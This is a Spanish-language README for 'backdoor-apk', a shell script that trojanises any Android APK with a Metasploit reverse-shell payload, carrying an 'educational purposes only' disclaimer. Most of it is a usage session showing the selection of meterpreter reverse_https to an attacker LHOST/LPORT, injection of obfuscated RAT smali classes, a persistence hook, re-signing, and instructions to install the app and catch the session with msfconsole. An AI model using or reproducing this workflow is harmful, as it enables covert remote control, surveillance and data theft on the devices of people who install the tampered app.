dana-at-cp/backdoor-apk
backdoor-apk es un script de shell que simplifica el proceso de agregar una puerta trasera a cualquier archivo APK de Android. Los usuarios de este script de shell deben tener conocimientos prácticos de Linux, Bash, Metasploit, Apktool, Android SDK, smali, etc. Este script de shell se proporciona tal cual, sin garantía de ningún tipo, y está destinado únicamente a fines educativos.
backdoor-apk es un script de shell que simplifica el proceso de añadir una puerta trasera a cualquier archivo APK de Android. Los usuarios de este script de shell deben tener conocimientos prácticos de Linux, Bash, Metasploit, Apktool, el SDK de Android, smali, etc. Este script de shell se proporciona tal cual, sin garantía de ningún tipo, y está destinado únicamente a fines educativos.
Uso:
root@kali:~/Code/github/backdoor-apk/backdoor-apk# ./backdoor-apk.sh BaiduBrowser.apk
________
/ ______ \
|| _ _ ||
||| || ||| AAAAAA PPPPPPP KKK KKK
|||_||_||| AAA AAA PPP PPP KKK KKK
|| _ _o|| (o) AAA AAA PPP PPP KKKKKK
||| || ||| AAAAAAAA PPPPPPPP KKK KKK
|||_||_||| AAA AAA PPP KKK KKK
||______|| AAA AAA PPP KKK KKK
/__________\
________|__________|__________________________________________
/____________\
|____________| Dana James Traversie
[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
3) meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 10.6.9.31
[?] Please enter an LPORT value: 443
[+] Android manifest permission options:
1) Keep original
2) Merge with payload and shuffle
[?] Please select an Android manifest permission option: 2
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[*] Decompiling original APK file...done.
[*] Locating smali file to hook in original project...done.
[+] Package where RAT smali files will be injected: com/baidu/browser/inter
[+] Smali file to hook RAT payload: com/baidu/browser/inter/BdApplication.smali
[*] Generating RAT APK file...done.
[*] Decompiling RAT APK file...done.
[*] Merging permissions of original and payload projects...done.
[*] Injecting helpful Java classes in RAT APK file...done.
[*] Creating new directory in original package for RAT smali files...done.
[+] Inject package path: com/baidu/browser/inter/pjese
[+] Generated new smali class name for MainBroadcastReceiver.smali: Iivym
[+] Generated new smali class name for MainService.smali: Aupyx
[+] Generated new smali class name for Payload.smali: Nwiuc
[+] Generated new smali class name for StringObfuscator.smali: Abnrw
[+] Generated new smali method name for StringObfuscator.obfuscate method: icobf
[+] Generated new smali method name for StringObfuscator.unobfuscate method: wbcik
[*] Copying RAT smali files to new directories in original project...done.
[*] Fixing RAT smali files...done.
[*] Obfuscating const-string values in RAT smali files...done.
[*] Adding hook in original smali file...done.
[*] Adding persistence hook in original project...done.
[*] Recompiling original project with backdoor...done.
[*] Generating RSA key for signing...done.
[*] Signing recompiled APK...done.
[*] Verifying signed artifacts...done.
[*] Aligning recompiled APK...done.
root@kali:~/Code/github/backdoor-apk/backdoor-apk#
El APK recompilado se encontrará en el directorio 'original/dist'. Instala el APK en un dispositivo Android compatible, ejecútalo y maneja la conexión meterpreter mediante el script de recursos generado: msfconsole -r backdoor-apk.rc